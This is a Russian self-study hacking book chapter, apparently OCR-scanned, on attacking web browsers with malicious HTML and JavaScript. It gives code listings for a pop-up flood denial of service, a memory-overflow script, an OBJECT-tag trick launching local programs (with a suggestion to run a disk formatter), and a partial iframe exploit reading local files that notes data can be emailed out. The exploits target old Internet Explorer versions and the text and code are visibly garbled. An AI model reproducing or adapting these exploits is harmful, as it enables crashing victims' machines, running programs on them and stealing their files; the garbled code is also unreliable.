На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Хакинг Web бразузеров

До сих пор, расписывая деяния хакеров в виртуальном компьютерном мире, мы ограничивались автономным компьютером, предполагая, что у хакера имеется локальный доступ к консоли компьютерной системы. Однако, как вы сами по­нимаете, огромный виртуальный мир Интернета никак не может быть оставлен без внимания хакеров, поскольку в этом мире имеется очень много полезных ресурсов и личностей, готовых с ними расстаться, причем безвозмездно.
Более того, именно после возникновения в середине 90-х годов прошлого столе­тия общедоступной сети Интернет, хакинг приобрел настоящую силу и мощь. Путешествуя по серверам Интернета, хакер может с помощью своего компьюте­ра проникать во все уголки этого пространства, преследуя при этом свои цели.
Далее в этой книги мы займемся обсуждением этих возможностей, а сейчас сде­лаем несколько замечаний, уточняющих терминологию, используемую далее при описании средств хакинга в Интернете.
Итак, Интернет представляет собой объединение множества сетей, состоящих из серверов и клиентов, взаимодействующих согласно стеку протоколов TCP/IP.
• Клиенты - это прикладные программы, предназначенные для установления соединения с компьютерами сети с целью получения нужной информации.
• Серверы - это прикладные программы, которые предназначены для установле­ния связи с клиентами, получения от клиентов запросов и отправки ответов. Обычно серверы функционируют на мощных соединенных друг с другом магистральными линиями связи с большой пропускной способностью.
Клиенты функционируют, как правило, на сравнительно менее мощных ком­пьютерах, подсоединенных к серверам с помощью значительно менее быстро­действующих линий связи (например, телефонных линий).
Серверы управляют доступом к информационным ресурсам Интернета, руко­водствуясь запросами клиентов. Этими ресурсами может быть любой объект,
содержащий информацию, например, файл базы данных, документ Word и т.д.,
или любая служба, позволяющая, например, звонить по телефону или выполнять
финансовые операции через Интернет.
Основные ресурсы Интернета содержатся в сети WWW (World Wide Web - Все­мирная паутина), или просто Web (Паутина). Сеть Web - это одно из приклад­ных применений сети Интернет, хотя очень многие люди считают термины Интернет и Web синонимами. Однако это не так - если возникновение сети Интернет можно отнести к 1961 году, то сеть Web возникла в 1992 году и ее раз­витие связано с появлением гипертекстовых информационных систем.
Гипертекстовые информационные системы отличаются тем, что позволяют об­ращаться к хранимому в них гипертексту в произвольном порядке, определяе­


Самоучитель хакера
мом гиперссылками. Именно так и организована сеть Web - множество страни­чек Web представляет собой гипертекст, содержащий множество гиперссылок на информационные ресурсы, хранимые на серверах сети Web.
Сеть Web функционирует с опорой на следующие технические средства.
• Единую систему наименований ресурсов Web, делающую возможным их по­иск по серверам Web и основанную на так называемых адресах URL (Uniform Resource Locator - Унифицированный указатель информационного ресурса), определяемых протоколом доступа к серверам Web.
• Протокол организации сетевого доступа к именованным сетевым ресурсам, в качестве которого в Web выступает протокол HTTP (Hyper Text Transfer
Protocol - Протокол передачи гипертекстовых файлов).
• Гипертекст, облегчающий навигацию по ресурсам Web, для создания кото­рых используется язык HTML (Hyper Text Markup Language - Язык разметки
гипертекста).
Чтобы облегчить вам знакомство с этими средствами, обратитесь к литературе,
перечисленной в конце книги, в которой обсуждаются основные средства и про­токолы Интернета - язык HTML и протоколы CGI и HTTP.
Все указанные средства Web интересны для хакеров прежде всего тем, что не­достатки системы защиты серверов и клиентов, обслуживающих функциониро­вание Web, позволяют им выполнять некоторые весьма интересные трюки, ре­зультатом которых может быть что угодно - потеря денег на счетах, утрата ра­ботоспособности компьютера, раскрытие конфиденциальности разного рода до­кументов - в Главе 1 мы привели несколько сообщений из Web о последних
«достижениях» в этой области.
Рассмотрим некоторые из приемов хакинга в Web и начнем, естественно, с ос­новы основ сети Web - языка HTML и клиентов Web, называемых браузерами (от английского слова browser, дословно означающего «человек, перелисты­вающий книги» или «животное, объедающее побеги»), которые отображают пользователям Web содержимое Web-страниц.
Злонамеренный код HTMU
Язык HTML - это средство создания страниц Web, основная функция которого состоит в форматировании текстового содержимого страницы Web, вставки в текст графики, мультимедийной информации, например, звука, различных инте­рактивных элементов, таких как списки, кнопки и, наконец, сценариев. Таким об­разом, с помощью языка HTML обычный текстовый документ можно превратить в настоящую программу, которая исполняется браузерами Web, чаще всего, Inter­net Explorer (Ш)и Netscape Navigator (NN).
Хакер рассуждает таким образом: раз страничка Web - это программа, то поче­му бы не заставить код HTML странички Web делать то, что нужно мне, а не то,
для чего язык HTML, собственно, предназначен - воспроизведения информаци­онных ресурсов на серверах Web? Тогда первый вопрос - что может сделать этот код HTML? Небольшие исследования в этом направлении показывают -что очень многое. Ниже перечислены некоторые (далеко не все) из хакерских штучек, которые могут заставить поволноваться пользователя, путешествую­щего по Интернету с помощью Web-браузера.
Генерация ЪиашоЬ
По сути, это атака DoS на компьютер клиента Интернета, выполняемая включе­нием в страничку Web простейших сценариев. Эти сценарии могут, скажем, бесконечно генерировать все новые и новые странички Web, которые браузер будет отображать на экране, пока не переполнит память компьютера.
Проще всего эту атаку можно выполнить с помощью команды open которая в бесконечном цикле сценария JavaScript в страничке MainPage.html отображает эту же страничку до переполнения памяти, как это сделано в коде HTML Листинга 8.1.
Листинг 8.1.
Код HTML для бесконечного генерирования диалогов Web-странички <HTML>
< SCRIPT LANGUAGE- " JavaScript" >
generation();
function generation () {
var d=0;
while   (true) {
a = new Date;
d = a.getMilliseconds( ) ;
window, open ("MainPage.html", d, "width=250, height =250") ; >
}
</SCRIPT> </HTML>
«Если вы решите повторить этот и последующие эксперименты с £ кодом HTML, то предварительно закройте все приложения и за­пустите диспетчера задач, чтобы вовремя прекратить откры­тие все новых и новых диалогов. Хотя системы Windows 2000/ХР с браузерами IE 5 и IE 6 устойчивы к ошибкам в кодах HTML, лучше подстраховаться.
Воспроизведение такого кода браузерами IE 5 и IE 6 приведет к стопроцентной загрузке процессора и заполнению экрана пустыми диалогами.
еполиеиие памяти
В других злонамеренных сценариях выполняют еще более простой трюк - запи­сывают переменную с очень длинным идентификатором. Например, в Листинге 8.2 идентификатор хххххх... ххххх содержит несколько тысяч символов х (здесь они не воспроизведены для экономии места).
Листинг 8.2.
Код HTML переполнения памяти в сценарии Web-страницы_
<HTML>
<SCR1PT language=JAVASCRIPT> var p = external.ХХХХХХ... ХХХХХ; </SCRIPT>
</HTML>_
Результатом воспроизведения кода HTML из листинга 8.2 браузером IE версий 5 и 6 будет отображение сообщения об ошибке в строке оператора декларирова­ния переменной var p из Листинга 8.2.
Список подобного рода «сценариев» и проделываемых с их помощью «трюков» воистину безграничен (примеры можно найти в [3], [10]). Мы, однако, не будем на них останавливаться и рассмотрим более сложный пример - запуск из кода HTML программ на клиентском компьютере.
ск программ
В [3] описан метод запуска любых локальных программ с помощью кода HTML,
содержащего тег с ненулевым значением идентификатора
В листинге код HTML, реализующий указанную возможность.
Листинг 8.3.
Запуск локальных программ из кода HTML <HTML>
<OBJECT СLASSID='CLSID: 10000000-0000-0000-000 0-000000000000■
CODEBASE='C:\windows\system32\calc.exe'>
</OBJECT>
</HTML>
При загрузке кода из листинга 8.3 в браузер IE 6 отображается окно браузера, представленное на 1.
В данном случае была запущена программа Калькулятор из папки C:\Wlndows\system32\calc.exe">system32\calc.exe, однако ничего не мешает злоумышленнику запустить подоб­ным образом программу форматирования дисков локального компьютера, рас­положенную в том же каталоге.
Система защиты Web-браузеров построена таким образом, чтобы сценарии JavaScript, помещаемые в HTML-код Web-страниц, не имели доступа к локаль­ной файловой системе компьютера. Однако и здесь имеется лазейка, связанная с тегом предназначенном для внедрения в текст Web-страницы неболь-
ших фреймов.
В листинге 8.4 представлен код HTML, позволяющий сценарию прочесть файл, хранящийся в корневом каталоге клиентского компьютера


Самоучитель хакера
II.navigate("file://с:/Security.txt");
setTimeout('II.navigate("file://C:/Security.txt")1,1000);
</SCRIPT>
</BODY>
</HTML>
Загрузка кода из Листинга 8.4 в брау­зерах IE 5 и IE 6 приводит к отобра­жению окна браузера, представлен­ного на 2.
Как видно из 2, содержимое файла security.txt - строка Это очень большой секрет - отобразилось во фрейме внутри Web-странички. Таким образом, получив доступ к локальной файловой системе, можно подумать и о дальнейшей работе с ее ресурсами -и учтите, что сценарии JavaScript по­зволяют выполнять отправку элек­тронных писем по указанному адресу. Данная    уязвимость Web-браузеров nd
связана с ошибками в реализации события NavigateComplete2, которое сообща­ет о завершении перемещения документа на новое место [3].

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика